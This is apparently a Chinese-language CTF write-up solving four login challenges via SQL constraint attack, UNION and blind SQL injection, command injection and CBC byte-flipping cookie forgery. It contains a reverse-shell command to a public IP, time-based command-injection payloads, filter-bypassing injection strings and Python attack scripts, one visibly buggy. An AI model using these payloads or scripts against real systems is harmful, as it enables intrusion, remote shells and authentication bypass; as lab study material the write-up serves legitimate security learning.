login1

sql约束攻击。

注册:

username = admin                                                                           1     

password = Aa123456

登陆:

username = admin

password = Aa123456

SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

 

login2

题目提示了union、命令执行。因该是sql注入和命令执行。

随便输入用户名、密码抓包回显中发现了tip:

JHNxbD0iU0VMRUNUIHVzZXJuYW1lLHBhc3N3b3JkIEZST00gYWRtaW4gV0hFUkUgdXNlcm5hbWU9JyIuJHVzZXJuYW1lLiInIjsKaWYg
KCFlbXB0eSgkcm93KSAmJiAkcm93WydwYXNzd29yZCddPT09bWQ1KCRwYXNzd29yZCkpewp9

解密后得到:

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

根据提示的union,利用union select md5()的姿势进行注入:

username=1'union select 1,md5(123)-- -
password=123

成功登陆。进入到命令执行的页面。

尝试随便输入命令,输入11111

注意输出的命令 sh -c ps -aux | grep 11111意为利用grep 查找sh -c ps -aux 中输入的,经过简单测试发现只能回显进程,并不能执行其他命令,无法根据回显判断命令是否执行,但是还可以通过linux下的sleep命令测试是否执行:11;sleep  5,延时,说明命令执行了。

方法一、

输入11;ping www.baidu.com,发现浏览器在转圈说明成功执行ping命令,说明可以连接外网。接下来的思路就是利用一个公网ip反弹shell:bash -i >& /dev/tcp/ip/port 0>&1。

先使用nc进行本地监听:

nc -lvv 8888

执行反弹shell的命令:

11;bash -i >& /dev/tcp/公网ip/8888 0>&1

这样就能在服务器收到shell,直接执行命令就可以了。

方法二、

这里还有另一种不用反向链接的方式,利用sql盲注的姿势(大佬真是骚啊),进行基于时间的命令行盲注,采用bash命令,通过对比字符串中一个一个的字符与页面延迟来确定我们需要的内容,关键的注入语句:11;a=`ls`;b='a';if [ ${a:0:1} == $b ];then sleep 2;fi   ps:如果ls结果中的第一个字符为a,页面返回延迟两秒,利用这个思路,首先确定当面目录#ls的文件情况。

然后进一步 cat flag******.txt 获取flag。11;a=`cat flag******.txt`;b='a';if [ ${a:0:1} == $b ];then sleep 2;fi

脚本写出来了,但是有错误,还没有跑出来。

题目不能访问了,不知道是被ban了还是怎么。

参考:

http://www.bugku.com/thread-80-1-1.html

https://www.cnblogs.com/blili/p/90

login3

sql盲注。

测试登陆admin 密码错误,username改为其他的username does not exist! ,猜测username处存在注入无回显、无报错利用布尔盲注。过滤了and,空格,逗号,等号,for。利用XOR注入、<>代替 =

payload:

admin’^(ascii(mid(database()from(1)))<>97)^1#
admin’^(select(1)from(admin))^1#   //表名是猜的
admin’^(select(count(password))from(admin))^1#    //字段名是猜的
admin’^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#  //查数据

另一种:

admin'^(ascii(mid((password)from({})))<>{})^0#

撸个脚本:

import requests
import string
url = 'http://123.206.31.85:49167/index.php'
ss = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {+-}*/="
r = requests.session()

result = ''
for i in range(33):
	
	for j in ss:
		payload="payload".format(str(i),ord(j))
		data = {
			"username":payload,
            "password":"123"
		}
		s = r.post(url,data=data)
		print (payload)
		if "error" in s.text:
			result+=j
			print(result)
			break

得到MD5值:51b7a76d51e70b419f60d3473fb6f900  需要解密:skctf123456

登陆:

Oh you get it SKCTF{b1iNd_SQL_iNJEcti0n!}

login4

提示CBC字节翻转攻击。

CBC字节翻转的基础见我的另一篇文章。<传送门>

尝试登陆提示:

再用admin登陆:

提示admin不允许登陆,密码任意,所以关键点不是绕过登陆,而是身份认证,有可能是在cookie里进行认证的,用bp抓包,在返回包里发现:

显而易见cbc加密模式。源码泄露扫描发现.index.php.swp源码泄露,linux下恢复源码 vim -r index.php.swp 得到题目源码,接下来审计代码看下怎么对我们传入的username和password进行处理的。关键代码:

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}

function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is $flag</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '<body class="login-body">
                <div id="wrapper">
                    <div class="user-icon"></div>
                    <div class="pass-icon"></div>
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                        </div>
                        <div class="content">
                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <input type="submit" name="submit" value="Login" class="button" />
                        </div>
                    </form>
                </div>
            </body>';
    }
}
?>

整个验证过程就是:

1.如果username===admin就输出flag,但是禁止了admin登陆。
2.把username和password构造为一个数组,然后进行序列化,并对这个序列化对象进行aes-128-cbc加密,iv值为16位随机数。加密值赋值给cipher。openssl_encrypt()函数。
3.session[username]=username序列化并cbc加密后的值。对iv和cipher进行base64加密并设置了cookie。
4.最后对cipher和iv进行base64解密。然后对cipher进行cbc解密,如果与原序列化对象值相等则对其进行反序列化,错误则报错die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>。把反序列化后username值赋给session[username]。

我们要用admin绕过,所以先用abmin登陆,抓包得到iv和cipher:

根据CBC加密过程我们先将输入序列化并分组(16字节为一组):
s:2:{s:8:"username";s:5:"abmin";s:8:"password";s:5:"abmin";}
①  s:2:{s:8:"userna
②  me";s:5:"abmin";
③  s:8:"password";s
④  :5:"abmin";}
分析:我们的目是把abmin 改为admin 由分组可知b在第二组的第11位,所以我们要修改第一组的u  脚本实现:
import base64
nweCipher=''

cipher = 'bp抓到的cipher经过url解密后的值'  
cipher = base64.b64decode(cipher) #先进行解密
newCipher = cipher[0:11] + chr(ord(cipher[11])^ord('b')^ord('d')) + cipher[12:] #XOR运算修改
print base64.b64encode(newCipher)  #再进行加密

在bp中添加cookie IV和修改后的cipher(脚本后得到的经过url加密) 注意添加前把post清空 然后go

回应无法反序列化,把无法反序列化字符串解密,发现已经变成了admin,但是我们翻转的时候破坏了第一组,所以无法反序列化,那我们需要把IV修复。

import base64
import urllib
cipher = ''#无法反序列化的字符串
iv = ''#先前得到的IV

cipher = base64.b64decode(urllib.unquote(cipher))#给cipher解密
iv = base64.b64decode(iv) #给先前的IV解密
newIv = ''
right = ''#破坏前正确的字符串
for i in range(16):
    newIv += chr(ord(right[i])^ord(iv[i])^ord(cipher[i]))#一位位修复
    print urllib.quote(base64.b64encode(newIv))

再cookie添加 生成的IV 和 修改的cipher 即可得到flag。

flag:SKCTF{CBC_wEB_cryptography_6646dfgdg6}